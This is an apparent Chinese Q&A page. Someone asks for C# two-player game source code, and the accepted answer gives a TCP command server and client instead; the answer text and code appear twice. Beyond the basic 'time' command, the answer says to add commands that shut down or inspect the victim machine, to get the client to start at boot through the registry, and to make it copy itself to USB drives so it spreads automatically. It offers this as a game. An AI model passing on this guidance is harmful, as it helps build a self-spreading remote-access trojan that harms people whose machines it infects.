谁有C#双人小游戏的源码啊?发给我啊~
在.net环境下用C#写的小游戏。如何实现双人对战?我邮箱:605145423@qq.com先谢啦!...
在.net环境下用C#写的小游戏。如何实现双人对战?
我邮箱:605145423@qq.com
先谢啦! 展开
我邮箱:605145423@qq.com
先谢啦! 展开
展开全部
以下是Server端程序
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;
namespace Server
{
class Program
{
static void Main(string[] args)
{
IPAddress ipAd = IPAddress.Parse("10.3.128.240"); // 把IP地址转换为IPAddress的实例
// 初始化监听器, 端口为8888
TcpListener myList = new TcpListener(ipAd, 8888);
// 开始监听服务器端口
myList.Start();
// 输出服务器启动信息
Console.WriteLine("在8888端口启动服务...");
Console.WriteLine("本地节点为:" + myList.LocalEndpoint);
Console.WriteLine("等待连接.....");
// 等待处理接入连接请求
// 新建立的连接用套接字s表示
Socket s = myList.AcceptSocket();
Console.WriteLine("连接来自 " + s.RemoteEndPoint);
//发送命令
while(s.Connected)
{
ASCIIEncoding asen = new ASCIIEncoding();
Console.WriteLine("请输入指令:\n");
s.Send(asen.GetBytes(Console.ReadLine()));
//接收返回信息
byte[] b = new byte[100];
int k = s.Receive(b);
for (int i = 0; i < k; i++)
{
Console.Write(Convert.ToChar(b[i]));
}
Console.WriteLine("\n已发送命令");
}
}
}
}
以下是Client端程序
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.IO;
namespace Client
{
class Program
{
static void Main(string[] args)
{
// 新建客户端套接字
TcpClient tcpclnt = new TcpClient();
Console.WriteLine("连接.....");
// 连接服务器
tcpclnt.Connect("10.3.128.240", 8888);
Console.WriteLine("已连接");
// 得到客户端的流
Stream stm = tcpclnt.GetStream();
// 接收从服务器返回的信息
while (tcpclnt.Connected)
{
byte[] bb = new byte[100];
int k = stm.Read(bb, 0, 100);
string a = null;
for (int i = 0; i < k; i++)
{
a += Convert.ToChar(bb[i]);
}
switch (a)
{
case "time":
ASCIIEncoding asen= new ASCIIEncoding();
byte[] ba=asen.GetBytes(DateTime.Now.TimeOfDay.ToString());
stm.Write(ba, 0, ba.Length);
break;
default:
break;
}
}
这段代码运行后 我们在Server端输入 time 就可以得到对方的系统时间
当然你可以在
switch (a)
{
case "time":
ASCIIEncoding asen= new ASCIIEncoding();
byte[] ba=asen.GetBytes(DateTime.Now.TimeOfDay.ToString());
stm.Write(ba, 0, ba.Length);
break;
default:
break;
}
这里多加些case来处理不同的命令来做更多的事 比如 关闭计算机 得到当前的进程列表什么的
当然你也可以通过修改注册表来实现client 的开机自启动
或者让client自己想多个地方复制,比如U盘什么的,就有了自动传播的功能
很多功能只要去研究,大家都可以去实现
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;
namespace Server
{
class Program
{
static void Main(string[] args)
{
IPAddress ipAd = IPAddress.Parse("10.3.128.240"); // 把IP地址转换为IPAddress的实例
// 初始化监听器, 端口为8888
TcpListener myList = new TcpListener(ipAd, 8888);
// 开始监听服务器端口
myList.Start();
// 输出服务器启动信息
Console.WriteLine("在8888端口启动服务...");
Console.WriteLine("本地节点为:" + myList.LocalEndpoint);
Console.WriteLine("等待连接.....");
// 等待处理接入连接请求
// 新建立的连接用套接字s表示
Socket s = myList.AcceptSocket();
Console.WriteLine("连接来自 " + s.RemoteEndPoint);
//发送命令
while(s.Connected)
{
ASCIIEncoding asen = new ASCIIEncoding();
Console.WriteLine("请输入指令:\n");
s.Send(asen.GetBytes(Console.ReadLine()));
//接收返回信息
byte[] b = new byte[100];
int k = s.Receive(b);
for (int i = 0; i < k; i++)
{
Console.Write(Convert.ToChar(b[i]));
}
Console.WriteLine("\n已发送命令");
}
}
}
}
以下是Client端程序
using System;
using System.Collections.Generic;
using System.Text;
using System.Net;
using System.Net.Sockets;
using System.IO;
namespace Client
{
class Program
{
static void Main(string[] args)
{
// 新建客户端套接字
TcpClient tcpclnt = new TcpClient();
Console.WriteLine("连接.....");
// 连接服务器
tcpclnt.Connect("10.3.128.240", 8888);
Console.WriteLine("已连接");
// 得到客户端的流
Stream stm = tcpclnt.GetStream();
// 接收从服务器返回的信息
while (tcpclnt.Connected)
{
byte[] bb = new byte[100];
int k = stm.Read(bb, 0, 100);
string a = null;
for (int i = 0; i < k; i++)
{
a += Convert.ToChar(bb[i]);
}
switch (a)
{
case "time":
ASCIIEncoding asen= new ASCIIEncoding();
byte[] ba=asen.GetBytes(DateTime.Now.TimeOfDay.ToString());
stm.Write(ba, 0, ba.Length);
break;
default:
break;
}
}
这段代码运行后 我们在Server端输入 time 就可以得到对方的系统时间
当然你可以在
switch (a)
{
case "time":
ASCIIEncoding asen= new ASCIIEncoding();
byte[] ba=asen.GetBytes(DateTime.Now.TimeOfDay.ToString());
stm.Write(ba, 0, ba.Length);
break;
default:
break;
}
这里多加些case来处理不同的命令来做更多的事 比如 关闭计算机 得到当前的进程列表什么的
当然你也可以通过修改注册表来实现client 的开机自启动
或者让client自己想多个地方复制,比如U盘什么的,就有了自动传播的功能
很多功能只要去研究,大家都可以去实现
本回答被提问者采纳
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询